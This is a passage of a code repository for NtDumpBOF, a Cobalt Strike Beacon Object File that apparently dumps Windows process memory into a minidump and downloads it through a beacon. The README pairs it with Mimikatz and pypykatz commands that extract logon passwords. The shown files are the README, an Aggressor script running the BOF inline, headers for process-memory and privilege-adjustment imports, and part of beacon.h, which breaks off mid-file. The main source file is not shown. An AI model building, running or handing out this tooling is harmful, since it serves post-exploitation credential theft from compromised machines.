├── README.md ├── NtDump.cna ├── bofdefs.h ├── structs.h ├── beacon.h └── main.c /README.md: -------------------------------------------------------------------------------- 1 | # NtDumpBOF 2 | 3 | BOF port of the tool https://github.com/ricardojoserf/NativeDump written by @ricardojoserf. 4 | 5 | Import NtDump.cna and run: 6 | 7 | ``` 8 | ntdump 9 | ``` 10 | The minidump file will be created in memory and downloaded using CALLBACK_FILE and CALLBACK_FILE_WRITE. 11 | Once downloaded the file will be visible at **View** -> **Download**. 12 | 13 | This can subsequently be parsed using Mimikatz 14 | 15 | ``` 16 | mimikatz # sekurlsa::minidump 17 | mimikatz # sekurlsa::logonpasswords full 18 | ``` 19 | 20 | Or pypykatz 21 | 22 | ``` 23 | pypykatz lsa minidump 24 | ``` 25 | -------------------------------------------------------------------------------- /NtDump.cna: -------------------------------------------------------------------------------- 1 | # $1 = Beacon ID 2 | # $2 = file name of minidump file. 3 | 4 | alias ntdump { 5 | local('$handle $data $args $filename'); 6 | 7 | if (size(@_) != 2) 8 | { 9 | berror($1, "NtDump: specify filename"); 10 | return; 11 | } 12 | 13 | # read in BOF file 14 | $handle = openf(script_resource("NtDump.x64.o")); 15 | $data = readb($handle, -1); 16 | 17 | $filename = $2; 18 | 19 | # pack the args 20 | $args = bof_pack($1, "z", $filename); 21 | 22 | 23 | #write to console what's going on 24 | btask($1, "Downloading minidump file $2"); 25 | 26 | # Run the BOF 27 | beacon_inline_execute($1, $data, "go", $args); 28 | 29 | 30 | 31 | } -------------------------------------------------------------------------------- /bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "structs.h" 4 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 5 | #define STATUS_PARTIAL_COPY 0x8000000D 6 | 7 | DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE,LPCSTR); 8 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 9 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID); 10 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE, LPCVOID,LPVOID, SIZE_T, SIZE_T); 11 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 12 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE,DWORD,PHANDLE); 13 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR,LPCSTR, PLUID); 14 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges,PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength ); 15 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR); 16 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID); 17 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError (VOID); 18 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32First(HANDLE,LPPROCESSENTRY32); 19 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32Next(HANDLE,LPPROCESSENTRY32); 20 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); 21 | 22 | //NTDLL 23 | DECLSPEC_IMPORT NTSTATUS NTDLL$NtClose(HANDLE); 24 | DECLSPEC_IMPORT NTSTATUS NTDLL$RtlGetVersion(PRTL_OSVERSIONINFOW); 25 | DECLSPEC_IMPORT NTSYSCALLAPI NTSTATUS NTDLL$NtOpenProcess(HANDLE,ACCESS_MASK, POBJECT_ATTRIBUTES,PCLIENT_ID); 26 | DECLSPEC_IMPORT NTSYSCALLAPI NTSTATUS NTDLL$NtQueryVirtualMemory(HANDLE,PVOID,MEMORY_INFORMATION_CLASS,PVOID,SIZE_T,PSIZE_T); 27 | DECLSPEC_IMPORT NTSYSCALLAPI NTSTATUS NTDLL$NtReadVirtualMemory(HANDLE,PVOID,PVOID,ULONG,PULONG); 28 | DECLSPEC_IMPORT NTSYSCALLAPI NTSTATUS NTDLL$NtQueryInformationProcess(HANDLE,PROCESSINFOCLASS,PVOID,ULONG,PULONG); 29 | 30 | 31 | 32 | WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src); 33 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); 34 | WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount); 35 | WINBASEAPI void* __cdecl MSVCRT$realloc(void*,size_t); 36 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); 37 | WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); 38 | WINBASEAPI time_t WINAPI MSVCRT$time(time_t *time); 39 | WINBASEAPI int WINAPI MSVCRT$rand(); 40 | WINBASEAPI void WINAPI MSVCRT$srand(int initial); 41 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); 42 | WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2); 43 | -------------------------------------------------------------------------------- /structs.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | typedef struct _UNICODE_STRING { 5 | DWORD Length; 6 | PWSTR Buffer; 7 | } UNICODE_STRING, * PUNICODE_STRING; 8 | 9 | 10 | typedef struct _LDR_DATA_TABLE_ENTRY { 11 | LIST_ENTRY InLoadOrderLinks; 12 | LIST_ENTRY InMemoryOrderLinks; 13 | LIST_ENTRY InInitializationOrderLinks; 14 | PVOID DllBase; 15 | PVOID EntryPoint; 16 | ULONG SizeOfImage; 17 | UNICODE_STRING FullDllName; 18 | UNICODE_STRING BaseDllName; 19 | ULONG Flags; 20 | WORD LoadCount; 21 | WORD TlsIndex; 22 | union { 23 | LIST_ENTRY HashLinks; 24 | PVOID SectionPointer; 25 | }; 26 | ULONG CheckSum; 27 | ULONG TimeDateStamp; 28 | PVOID LoadedImports; 29 | PVOID EntryPointActivationContext; 30 | PVOID PatchInformation; 31 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 32 | 33 | 34 | typedef struct _MEMORY_64_INFO { 35 | 36 | LPVOID Address; 37 | SIZE_T Size; 38 | } MEMORY_64_INFO, * PMEMORY_64_INFO; 39 | 40 | typedef struct _MEMORY64_LIST_STREAM 41 | { 42 | ULONG32 NumberOfEntries; 43 | ULONG64 MemoryRegionsBaseAddress; 44 | }MEMORY64_LIST_STREAM, * PMEMORY64_LIST_STREAM; 45 | 46 | 47 | typedef struct _MINIDUMP_STREAM_DIRECTORY { 48 | DWORD StreamType; 49 | DWORD Size; 50 | DWORD Location; 51 | } MINIDUMP_STREAM_DIRECTORY, * PMINIDUMP_STREAM_DIRECTORY; 52 | 53 | 54 | #pragma pack(push,2) 55 | typedef struct _MODULE_LIST_STREAM { 56 | DWORD NumberOfModules; 57 | LPVOID BaseAddress; 58 | ULONG Size; 59 | DWORD UnknownField1; 60 | DWORD Timestamp; 61 | DWORD PointerName; 62 | LPVOID UnknownField2; 63 | LPVOID UnknownField3; 64 | LPVOID UnknownField4; 65 | LPVOID UnknownField5; 66 | LPVOID UnknownField6; 67 | LPVOID UnknownField7; 68 | LPVOID UnknownField8; 69 | LPVOID UnknownField9; 70 | LPVOID UnknownField10; 71 | LPVOID UnknownField11; 72 | } MODULE_LIST_STREAM, * PMODULE_LIST_STREAM; 73 | #pragma pack(pop) 74 | 75 | typedef struct _MINIDUMP_HEADER { 76 | ULONG32 Signature; 77 | ULONG32 Version; 78 | ULONG32 NumberOfStreams; 79 | ULONG32 StreamDirectoryRva; 80 | ULONG32 CheckSum; 81 | union { 82 | ULONG32 Reserved; 83 | ULONG32 TimeDateStamp; 84 | }; 85 | ULONG64 Flags; 86 | } MINIDUMP_HEADER, * PMINIDUMP_HEADER; 87 | 88 | typedef struct _MINIDUMP_SYSTEM_INFO 89 | { 90 | USHORT ProcessorArchitecture; 91 | USHORT ProcessorLevel; 92 | USHORT ProcessorRevision; 93 | union 94 | { 95 | USHORT Reserved0; 96 | struct 97 | { 98 | UCHAR NumberOfProcessors; 99 | UCHAR ProductType; 100 | } DUMMYSTRUCTNAME; 101 | } DUMMYUNIONNAME; 102 | 103 | ULONG MajorVersion; 104 | ULONG MinorVersion; 105 | ULONG BuildNumber; 106 | ULONG PlatformId; 107 | 108 | ULONG32 CSDVersionRva; 109 | union 110 | { 111 | ULONG Reserved1; 112 | struct 113 | { 114 | USHORT SuiteMask; 115 | USHORT Reserved2; 116 | } DUMMYSTRUCTNAME; 117 | } DUMMYUNIONNAME1; 118 | union _CPU_INFORMATION 119 | { 120 | struct 121 | { 122 | ULONG VendorId[3]; 123 | ULONG VersionInformation; 124 | ULONG FeatureInformation; 125 | ULONG AMDExtendedCpuFeatures; 126 | } X86CpuInfo; 127 | struct 128 | { 129 | ULONG64 ProcessorFeatures[2]; 130 | } OtherCpuInfo; 131 | } Cpu; 132 | 133 | } MINIDUMP_SYSTEM_INFO, * PMINIDUMP_SYSTEM_INFO; 134 | 135 | typedef struct _PROCESS_BASIC_INFORMATION { 136 | PVOID Reserved1; 137 | PVOID PebBaseAddress; 138 | PVOID Reserved2[2]; 139 | ULONG_PTR UniqueProcessId; 140 | PVOID Reserved3; 141 | } PROCESS_BASIC_INFORMATION; 142 | 143 | typedef struct _RTL_USER_PROCESS_PARAMETERS { 144 | BYTE Reserved1[16]; 145 | PVOID Reserved2[10]; 146 | UNICODE_STRING ImgPath; 147 | UNICODE_STRING CmdLine; 148 | } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; 149 | 150 | typedef 151 | VOID 152 | (PS_POST_PROCESS_INIT_ROUTINE)( 153 | VOID 154 | ); 155 | typedef PS_POST_PROCESS_INIT_ROUTINE* PPS_POST_PROCESS_INIT_ROUTINE; 156 | 157 | typedef struct { 158 | ULONG PriorityClass; 159 | ULONG PrioritySubClass; 160 | } KSPRIORITY, * PKSPRIORITY; 161 | 162 | typedef struct _PEB_LDR_DATA { 163 | BYTE Reserved1[8]; 164 | PVOID Reserved2[3]; 165 | LIST_ENTRY InMemoryOrderModuleList; 166 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 167 | 168 | typedef struct _PEB { 169 | BYTE Reserved1[2]; 170 | BYTE BeingDebugged; 171 | BYTE Reserved2[1]; 172 | PVOID Reserved3[2]; 173 | PPEB_LDR_DATA Ldr; // a pointer to a structure with a list of loaded modules in the process 174 | PRTL_USER_PROCESS_PARAMETERS ProcessParams; 175 | PVOID Reserved4[3]; 176 | PVOID AtlThunkSListPtr; 177 | PVOID Reserved5; 178 | ULONG Reserved6; 179 | PVOID Reserved7; 180 | ULONG Reserved8; 181 | ULONG AtlThunkSListPtr32; 182 | PVOID Reserved9[45]; 183 | BYTE Reserved10[96]; 184 | PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; 185 | BYTE Reserved11[128]; 186 | PVOID Reserved12[1]; 187 | ULONG SessionId; 188 | } PEB, * PPEB; 189 | 190 | typedef enum _PROCESSINFOCLASS 191 | { 192 | ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION 193 | ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX 194 | ProcessIoCounters, // q: IO_COUNTERS 195 | ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 196 | ProcessTimes, // q: KERNEL_USER_TIMES 197 | ProcessBasePriority, // s: KPRIORITY 198 | ProcessRaisePriority, // s: ULONG 199 | ProcessDebugPort, // q: HANDLE 200 | ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT (requires SeTcbPrivilege) 201 | ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN 202 | ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10 203 | ProcessLdtSize, // s: PROCESS_LDT_SIZE 204 | ProcessDefaultHardErrorMode, // qs: ULONG 205 | ProcessIoPortHandlers, // (kernel-mode only) // s: PROCESS_IO_PORT_HANDLER_INFORMATION 206 | ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS 207 | ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void 208 | ProcessUserModeIOPL, // qs: ULONG (requires SeTcbPrivilege) 209 | ProcessEnableAlignmentFaultFixup, // s: BOOLEAN 210 | ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS 211 | ProcessWx86Information, // qs: ULONG (requires SeTcbPrivilege) (VdmAllowed) 212 | ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20 213 | ProcessAffinityMask, // (q >WIN7)s: KAFFINITY, qs: GROUP_AFFINITY 214 | ProcessPriorityBoost, // qs: ULONG 215 | ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX 216 | ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION 217 | ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND 218 | ProcessWow64Information, // q: ULONG_PTR 219 | ProcessImageFileName, // q: UNICODE_STRING 220 | ProcessLUIDDeviceMapsEnabled, // q: ULONG 221 | ProcessBreakOnTermination, // qs: ULONG 222 | ProcessDebugObjectHandle, // q: HANDLE // 30 223 | ProcessDebugFlags, // qs: ULONG 224 | ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: PROCESS_HANDLE_TRACING_ENABLE[_EX] or void to disable 225 | ProcessIoPriority, // qs: IO_PRIORITY_HINT 226 | ProcessExecuteFlags, // qs: ULONG (MEM_EXECUTE_OPTION_*) 227 | ProcessTlsInformation, // PROCESS_TLS_INFORMATION // ProcessResourceManagement 228 | ProcessCookie, // q: ULONG 229 | ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION 230 | ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA 231 | ProcessPagePriority, // qs: PAGE_PRIORITY_INFORMATION 232 | ProcessInstrumentationCallback, // s: PVOID or PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40 233 | ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX 234 | ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]; s: void 235 | ProcessImageFileNameWin32, // q: UNICODE_STRING 236 | ProcessImageFileMapping, // q: HANDLE (input) 237 | ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE 238 | ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE 239 | ProcessGroupInformation, // q: USHORT[] 240 | ProcessTokenVirtualizationEnabled, // s: ULONG 241 | ProcessConsoleHostProcess, // qs: ULONG_PTR // ProcessOwnerInformation 242 | ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50 243 | ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 244 | ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION 245 | ProcessDynamicFunctionTableInformation, // s: PROCESS_DYNAMIC_FUNCTION_TABLE_INFORMATION 246 | ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables 247 | ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION 248 | ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION 249 | ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL (requires SeDebugPrivilege) 250 | ProcessHandleTable, // q: ULONG[] // since WINBLUE 251 | ProcessCheckStackExtentsMode, // qs: ULONG // KPROCESS->CheckStackExtents (CFG) 252 | ProcessCommandLineInformation, // q: UNICODE_STRING // 60 253 | ProcessProtectionInformation, // q: PS_PROTECTION 254 | ProcessMemoryExhaustion, // s: PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD 255 | ProcessFaultInformation, // s: PROCESS_FAULT_INFORMATION 256 | ProcessTelemetryIdInformation, // q: PROCESS_TELEMETRY_ID_INFORMATION 257 | ProcessCommitReleaseInformation, // qs: PROCESS_COMMIT_RELEASE_INFORMATION 258 | ProcessDefaultCpuSetsInformation, // qs: SYSTEM_CPU_SET_INFORMATION[5] 259 | ProcessAllowedCpuSetsInformation, // qs: SYSTEM_CPU_SET_INFORMATION[5] 260 | ProcessSubsystemProcess, 261 | ProcessJobMemoryInformation, // q: PROCESS_JOB_MEMORY_INFO 262 | ProcessInPrivate, // q: BOOLEAN; s: void // ETW // since THRESHOLD2 // 70 263 | ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables 264 | ProcessIumChallengeResponse, 265 | ProcessChildProcessInformation, // q: PROCESS_CHILD_PROCESS_INFORMATION 266 | ProcessHighGraphicsPriorityInformation, // qs: BOOLEAN (requires SeTcbPrivilege) 267 | ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 268 | ProcessEnergyValues, // q: PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES 269 | ProcessPowerThrottlingState, // qs: POWER_THROTTLING_PROCESS_STATE 270 | ProcessReserved3Information, // ProcessActivityThrottlePolicy // PROCESS_ACTIVITY_THROTTLE_POLICY 271 | ProcessWin32kSyscallFilterInformation, // q: WIN32K_SYSCALL_FILTER 272 | ProcessDisableSystemAllowedCpuSets, // s: BOOLEAN // 80 273 | ProcessWakeInformation, // q: PROCESS_WAKE_INFORMATION 274 | ProcessEnergyTrackingState, // qs: PROCESS_ENERGY_TRACKING_STATE 275 | ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 276 | ProcessCaptureTrustletLiveDump, 277 | ProcessTelemetryCoverage, // q: TELEMETRY_COVERAGE_HEADER; s: TELEMETRY_COVERAGE_POINT 278 | ProcessEnclaveInformation, 279 | ProcessEnableReadWriteVmLogging, // qs: PROCESS_READWRITEVM_LOGGING_INFORMATION 280 | ProcessUptimeInformation, // q: PROCESS_UPTIME_INFORMATION 281 | ProcessImageSection, // q: HANDLE 282 | ProcessDebugAuthInformation, // since REDSTONE4 // 90 283 | ProcessSystemResourceManagement, // s: PROCESS_SYSTEM_RESOURCE_MANAGEMENT 284 | ProcessSequenceNumber, // q: ULONGLONG 285 | ProcessLoaderDetour, // since REDSTONE5 286 | ProcessSecurityDomainInformation, // q: PROCESS_SECURITY_DOMAIN_INFORMATION 287 | ProcessCombineSecurityDomainsInformation, // s: PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION 288 | ProcessEnableLogging, // qs: PROCESS_LOGGING_INFORMATION 289 | ProcessLeapSecondInformation, // qs: PROCESS_LEAP_SECOND_INFORMATION 290 | ProcessFiberShadowStackAllocation, // s: PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1 291 | ProcessFreeFiberShadowStackAllocation, // s: PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION 292 | ProcessAltSystemCallInformation, // s: PROCESS_SYSCALL_PROVIDER_INFORMATION // since 20H1 // 100 293 | ProcessDynamicEHContinuationTargets, // s: PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION 294 | ProcessDynamicEnforcedCetCompatibleRanges, // s: PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE_INFORMATION // since 20H2 295 | ProcessCreateStateChange, // since WIN11 296 | ProcessApplyStateChange, 297 | ProcessEnableOptionalXStateFeatures, // s: ULONG64 // optional XState feature bitmask 298 | ProcessAltPrefetchParam, // qs: OVERRIDE_PREFETCH_PARAMETER // App Launch Prefetch (ALPF) // since 22H1 299 | ProcessAssignCpuPartitions, 300 | ProcessPriorityClassEx, // s: PROCESS_PRIORITY_CLASS_EX 301 | ProcessMembershipInformation, // q: PROCESS_MEMBERSHIP_INFORMATION 302 | ProcessEffectiveIoPriority, // q: IO_PRIORITY_HINT // 110 303 | ProcessEffectivePagePriority, // q: ULONG 304 | ProcessSchedulerSharedData, // since 24H2 305 | ProcessSlistRollbackInformation, 306 | ProcessNetworkIoCounters, // q: PROCESS_NETWORK_COUNTERS 307 | ProcessFindFirstThreadByTebValue, // PROCESS_TEB_VALUE_INFORMATION 308 | MaxProcessInfoClass 309 | } PROCESSINFOCLASS; 310 | 311 | 312 | 313 | typedef struct _OBJECT_ATTRIBUTES { 314 | ULONG Length; 315 | HANDLE RootDirectory; 316 | PUNICODE_STRING ObjectName; 317 | ULONG Attributes; 318 | PVOID SecurityDescriptor; 319 | PVOID SecurityQualityOfService; 320 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 321 | 322 | typedef enum _MEMORY_INFORMATION_CLASS { 323 | MemoryBasicInformation 324 | } MEMORY_INFORMATION_CLASS; 325 | 326 | typedef struct _CLIENT_ID { 327 | HANDLE UniqueProcess; 328 | HANDLE UniqueThread; 329 | } CLIENT_ID, * PCLIENT_ID; 330 | 331 | 332 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL 21 | * Updated the BEACON_INFO data structure to add new parameters 22 | * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 23 | * 4/25/2024: Added APIs to call Beacon's system call implementation 24 | */ 25 | #ifndef _BEACON_H_ 26 | #define _BEACON_H_ 27 | #include 28 | 29 | #ifdef __cplusplus 30 | extern "C" { 31 | #endif // __cplusplus 32 | 33 | /* data API */ 34 | typedef struct { 35 | char * original; /* the original buffer [so we can free it] */ 36 | char * buffer; /* current pointer into our buffer */ 37 | int length; /* remaining length of data */ 38 | int size; /* total size of this buffer */ 39 | } datap; 40 | 41 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 42 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 43 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 44 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 45 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 46 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 47 | 48 | /* format API */ 49 | typedef struct { 50 | char * original; /* the original buffer [so we can free it] */ 51 | char * buffer; /* current pointer into our buffer */ 52 | int length; /* remaining length of data */ 53 | int size; /* total size of this buffer */ 54 | } formatp; 55 | 56 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 57 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 58 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); 59 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); 60 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 61 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 62 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 63 | 64 | /* Output Functions */ 65 | #define CALLBACK_OUTPUT 0x0 66 | #define CALLBACK_OUTPUT_OEM 0x1e 67 | #define CALLBACK_OUTPUT_UTF8 0x20 68 | #define CALLBACK_ERROR 0x0d 69 | #define CALLBACK_CUSTOM 0x1000 70 | #define CALLBACK_CUSTOM_LAST 0x13ff 71 | 72 | /*https://github.com/EspressoCake/DLL-Exports-Extraction-BOF/blob/main/src/headers/beacon.h*/ 73 | #define CALLBACK_FILE 0x02 74 | #define CALLBACK_FILE_WRITE 0x08 75 | #define CALLBACK_FILE_CLOSE 0x09 76 | 77 | DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); 78 | DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); 79 | 80 | 81 | /* Token Functions */ 82 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 83 | DECLSPEC_IMPORT void BeaconRevertToken(); 84 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 85 | 86 | /* Spawn+Inject Functions */ 87 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 88 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 89 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 90 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 91 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 92 | 93 | /* Utility Functions */ 94 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 95 | 96 | /* Beacon Information */ 97 | /* 98 | * ptr - pointer to the base address of the allocated memory. 99 | * size - the number of bytes allocated for the ptr. 100 | */ 101 | typedef struct { 102 | char * ptr; 103 | size_t size; 104 | } HEAP_RECORD; 105 | #define MASK_SIZE 13 106 | 107 | /* Information the user can set in the USER_DATA via a UDRL */ 108 | typedef enum { 109 | PURPOSE_EMPTY, 110 | PURPOSE_GENERIC_BUFFER, 111 | PURPOSE_BEACON_MEMORY, 112 | PURPOSE_SLEEPMASK_MEMORY, 113 | PURPOSE_BOF_MEMORY, 114 | PURPOSE_USER_DEFINED_MEMORY = 1000 115 | } ALLOCATED_MEMORY_PURPOSE; 116 | 117 | typedef enum { 118 | LABEL_EMPTY, 119 | LABEL_BUFFER, 120 | LABEL_PEHEADER, 121 | LABEL_TEXT, 122 | LABEL_RDATA, 123 | LABEL_DATA, 124 | LABEL_PDATA, 125 | LABEL_RELOC, 126 | LABEL_USER_DEFINED = 1000 127 | } ALLOCATED_MEMORY_LABEL; 128 | 129 | typedef enum { 130 | METHOD_UNKNOWN, 131 | METHOD_VIRTUALALLOC, 132 | METHOD_HEAPALLOC, 133 | METHOD_MODULESTOMP, 134 | METHOD_NTMAPVIEW, 135 | METHOD_USER_DEFINED = 1000, 136 | } ALLOCATED_MEMORY_ALLOCATION_METHOD; 137 | 138 | /** 139 | * This structure allows the user to provide additional information 140 | * about the allocated heap for cleanup. It is mandatory to provide 141 | * the HeapHandle but the DestroyHeap Boolean can be used to indicate 142 | * whether the clean up code should destroy the heap or simply free the pages. 143 | * This is useful in situations where a loader allocates memory in the 144 | * processes current heap. 145 | */ 146 | typedef struct _HEAPALLOC_INFO { 147 | PVOID HeapHandle; 148 | BOOL DestroyHeap; 149 | } HEAPALLOC_INFO, *PHEAPALLOC_INFO; 150 | 151 | typedef struct _MODULESTOMP_INFO { 152 | HMODULE ModuleHandle; 153 | } MODULESTOMP_INFO, *PMODULESTOMP_INFO; 154 | 155 | typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { 156 | HEAPALLOC_INFO HeapAllocInfo; 157 | MODULESTOMP_INFO ModuleStompInfo; 158 | PVOID Custom; 159 | } ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; 160 | 161 | typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { 162 | BOOL Cleanup; 163 | ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; 164 | ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; 165 | } ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; 166 | 167 | typedef struct _ALLOCATED_MEMORY_SECTION { 168 | ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development 169 | PVOID BaseAddress; // Pointer to virtual address of section 170 | SIZE_T VirtualSize; // Virtual size of the section 171 | DWORD CurrentProtect; // Current memory protection of the section 172 | DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) 173 | BOOL MaskSection; // A boolean to indicate whether the section should be masked 174 | } ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; 175 | 176 | typedef struct _ALLOCATED_MEMORY_REGION { 177 | 